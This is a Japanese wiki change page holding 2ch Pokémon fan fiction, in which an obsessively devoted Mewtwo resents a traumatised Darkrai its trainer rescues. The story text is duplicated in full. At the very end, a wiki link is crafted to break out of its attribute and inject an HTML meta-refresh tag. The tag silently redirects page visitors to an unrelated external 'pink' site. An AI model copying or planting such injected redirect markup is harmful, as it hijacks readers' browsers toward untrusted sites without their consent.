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ID:DdwAQVIe0の長編」(2007/12/09 (日) 22:23:40) の最新版変更点

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**225(ID:DdwAQVIe0) -コンビニ行ったらでふと思いついたネタ- その日ミュウツーは朝から嫌な予感がしていた マ「うわぁ、急に降ってくるんだもんな、ミュウツー濡れちゃうからモンスターボールに入っててもいいぞ」 M「いや、主にだけ寒い思いをさせるわけにはいかない」 マ「そうか?、別にいいのにな・・・ってあれ?なんだあの人?」 土砂降りの雨の中モンスターボールを踏みつけている男がいた マ「何してるんですか?!」 男「ああん?関係ねぇやつは引っ込んでろよ!」 マ「関係ないかもしれないですけど、そのモンスターボールなんですか?あなたのポケモンじゃないんですか?」 男「あんまり弱ぇし、俺の言うこときかねぇから、ちぃっとお仕置きしてだよ!わかったらあっち行けク・ソ・・・ガ・・・キ・・」 ミュウツーがものすごい顔でにらんでいる今にも飛び掛りそうだ 男「な、なんだよお前ら。ちっ!」 身の危険を感じたのか、そういうと男は走っていってしまった マ「あ、ちょっと!このモンスターボール!」 男「ああん?もういらねぇんだよそんな屑!欲しけりゃやるよ」 ミュウツーの嫌な予感が増した ミュウツーは閃いた、朝からの嫌な予感はきっとこれだ ああ、なんと言うことだろう、やっと一番めざわりだったカメックスがいなくなったというのに マスターはまた新しいポケモンを迎え入れようとしている マ「『ほしけりゃやる』って、、、そんな、、、ポケモンを何だと思ってるんだ!!」 M「主、そのポケモンに関わるのはやめた方がいい。どんなポケモンかもわからない上に、主の言うことを聞くかも不明だ」 マ「そんな事いったって・・・こんな所に置いていけないし・・・それに、何かあってもミュウツーが守ってくれるだろう?」 ああ、マスター、マスター。守って見せましょう。たとえどんな障害であろうと、どんな凶悪なポケモンであろうと あなたに指一本ふれさせはしない。 しかしマスター、そんな汚れたモンスターボールを持ってはいけない。そんなゴミポケモンのためにマスターの手を汚すことなんてないのだから・・・ マ「とりあえず出してあげよう、このモンスターボールひびが入ってるし、怪我をしてるかもしれない」 モンスターボールからポケモンがでてくる・・・・ ?「ゴメンナサイゴメンナサイゴメンナサイぶたないで下さい。なんでもしますなんでもします。お願いしますお願いしますオネガイシマス・・・」 中に入っていたのはガタガタと震えながら許しを請う「ダークライ」だった ミュウツーは確信した嫌な予感の正体はコレだと ---- **226(ID:DdwAQVIe0) ミュウツーは閃いた、朝からの嫌な予感はきっとこれだ ああ、なんと言うことだろう、やっと一番めざわりだったカメックスがいなくなったというのに マスターはまた新しいポケモンを迎え入れようとしている マ「『ほしけりゃやる』って、、、そんな、、、ポケモンを何だと思ってるんだ!!」 M「主、そのポケモンに関わるのはやめた方がいい。どんなポケモンかもわからない上に、主の言うことを聞くかも不明だ」 マ「そんな事いったって・・・こんな所に置いていけないし・・・それに、何かあってもミュウツーが守ってくれるだろう?」 ああ、マスター、マスター。守って見せましょう。たとえどんな障害であろうと、どんな凶悪なポケモンであろうと あなたに指一本ふれさせはしない。 しかしマスター、そんな汚れたモンスターボールを持ってはいけない。そんなゴミポケモンのためにマスターの手を汚すことなんてないのだから・・・ マ「とりあえず出してあげよう、このモンスターボールひびが入ってるし、怪我をしてるかもしれない」 モンスターボールからポケモンがでてくる・・・・ ?「ゴメンナサイゴメンナサイゴメンナサイぶたないで下さい。なんでもしますなんでもします。お願いしますお願いしますオネガイシマス・・・」 中に入っていたのはガタガタと震えながら許しを請う「ダークライ」だった ミュウツーは確信した嫌な予感の正体はコレだと ---- **602(2スレ目)ID:nkG5dSZq0 空気を読まずに投下 ダークライを引き取ってから二日目 あのゴミポケモンダークライは 主に心を開こうとせず、食事をしようともしないうえに、色々と世話をしてくれている主が近づくと怯え震え、主を困らせる なんという恩知らずだ なんという恩知らずだ。優しい主が貴様のようなゴミポケモンのために時間を割いているというのに ---早く死んでくれないだろうか--- マ「俺ってそんなに怖いのかな?」 M「そんな事はありません。あの・・・ポケモンが勝手に怯えているだけです   あんなポケモン、近くのポケモンセンターにでも預けて早く先を急ぎましょう」 マ「そういうわけにもいかないよ、あんな現場みせられて放っておくわけにもいかないだろ?」 主はなんと優しいのだろう、あんなゴミポケモンのために心を痛めておられる しかし、それにくらべてあのゴミはどうした事だ。主が近づくだけで怯え、震え。主の言葉に耳を貸そうともしない 昨日からずっと主はあのゴミにつきっきりだ もしこの状況があのゴミのためにあるのではなく、私のためにあるのだとしたらどんなに良いだろう ---ああ、忌々しい---
**225(ID:DdwAQVIe0) -コンビニ行ったらでふと思いついたネタ- その日ミュウツーは朝から嫌な予感がしていた マ「うわぁ、急に降ってくるんだもんな、ミュウツー濡れちゃうからモンスターボールに入っててもいいぞ」 M「いや、主にだけ寒い思いをさせるわけにはいかない」 マ「そうか?、別にいいのにな・・・ってあれ?なんだあの人?」 土砂降りの雨の中モンスターボールを踏みつけている男がいた マ「何してるんですか?!」 男「ああん?関係ねぇやつは引っ込んでろよ!」 マ「関係ないかもしれないですけど、そのモンスターボールなんですか?あなたのポケモンじゃないんですか?」 男「あんまり弱ぇし、俺の言うこときかねぇから、ちぃっとお仕置きしてだよ!わかったらあっち行けク・ソ・・・ガ・・・キ・・」 ミュウツーがものすごい顔でにらんでいる今にも飛び掛りそうだ 男「な、なんだよお前ら。ちっ!」 身の危険を感じたのか、そういうと男は走っていってしまった マ「あ、ちょっと!このモンスターボール!」 男「ああん?もういらねぇんだよそんな屑!欲しけりゃやるよ」 ミュウツーの嫌な予感が増した ミュウツーは閃いた、朝からの嫌な予感はきっとこれだ ああ、なんと言うことだろう、やっと一番めざわりだったカメックスがいなくなったというのに マスターはまた新しいポケモンを迎え入れようとしている マ「『ほしけりゃやる』って、、、そんな、、、ポケモンを何だと思ってるんだ!!」 M「主、そのポケモンに関わるのはやめた方がいい。どんなポケモンかもわからない上に、主の言うことを聞くかも不明だ」 マ「そんな事いったって・・・こんな所に置いていけないし・・・それに、何かあってもミュウツーが守ってくれるだろう?」 ああ、マスター、マスター。守って見せましょう。たとえどんな障害であろうと、どんな凶悪なポケモンであろうと あなたに指一本ふれさせはしない。 しかしマスター、そんな汚れたモンスターボールを持ってはいけない。そんなゴミポケモンのためにマスターの手を汚すことなんてないのだから・・・ マ「とりあえず出してあげよう、このモンスターボールひびが入ってるし、怪我をしてるかもしれない」 モンスターボールからポケモンがでてくる・・・・ ?「ゴメンナサイゴメンナサイゴメンナサイぶたないで下さい。なんでもしますなんでもします。お願いしますお願いしますオネガイシマス・・・」 中に入っていたのはガタガタと震えながら許しを請う「ダークライ」だった ミュウツーは確信した嫌な予感の正体はコレだと ---- **226(ID:DdwAQVIe0) ミュウツーは閃いた、朝からの嫌な予感はきっとこれだ ああ、なんと言うことだろう、やっと一番めざわりだったカメックスがいなくなったというのに マスターはまた新しいポケモンを迎え入れようとしている マ「『ほしけりゃやる』って、、、そんな、、、ポケモンを何だと思ってるんだ!!」 M「主、そのポケモンに関わるのはやめた方がいい。どんなポケモンかもわからない上に、主の言うことを聞くかも不明だ」 マ「そんな事いったって・・・こんな所に置いていけないし・・・それに、何かあってもミュウツーが守ってくれるだろう?」 ああ、マスター、マスター。守って見せましょう。たとえどんな障害であろうと、どんな凶悪なポケモンであろうと あなたに指一本ふれさせはしない。 しかしマスター、そんな汚れたモンスターボールを持ってはいけない。そんなゴミポケモンのためにマスターの手を汚すことなんてないのだから・・・ マ「とりあえず出してあげよう、このモンスターボールひびが入ってるし、怪我をしてるかもしれない」 モンスターボールからポケモンがでてくる・・・・ ?「ゴメンナサイゴメンナサイゴメンナサイぶたないで下さい。なんでもしますなんでもします。お願いしますお願いしますオネガイシマス・・・」 中に入っていたのはガタガタと震えながら許しを請う「ダークライ」だった ミュウツーは確信した嫌な予感の正体はコレだと ---- **602(2スレ目)ID:nkG5dSZq0 空気を読まずに投下 ダークライを引き取ってから二日目 あのゴミポケモンダークライは 主に心を開こうとせず、食事をしようともしないうえに、色々と世話をしてくれている主が近づくと怯え震え、主を困らせる なんという恩知らずだ なんという恩知らずだ。優しい主が貴様のようなゴミポケモンのために時間を割いているというのに ---早く死んでくれないだろうか--- マ「俺ってそんなに怖いのかな?」 M「そんな事はありません。あの・・・ポケモンが勝手に怯えているだけです   あんなポケモン、近くのポケモンセンターにでも預けて早く先を急ぎましょう」 マ「そういうわけにもいかないよ、あんな現場みせられて放っておくわけにもいかないだろ?」 主はなんと優しいのだろう、あんなゴミポケモンのために心を痛めておられる しかし、それにくらべてあのゴミはどうした事だ。主が近づくだけで怯え、震え。主の言葉に耳を貸そうともしない 昨日からずっと主はあのゴミにつきっきりだ もしこの状況があのゴミのためにあるのではなく、私のためにあるのだとしたらどんなに良いだろう ---ああ、忌々しい---[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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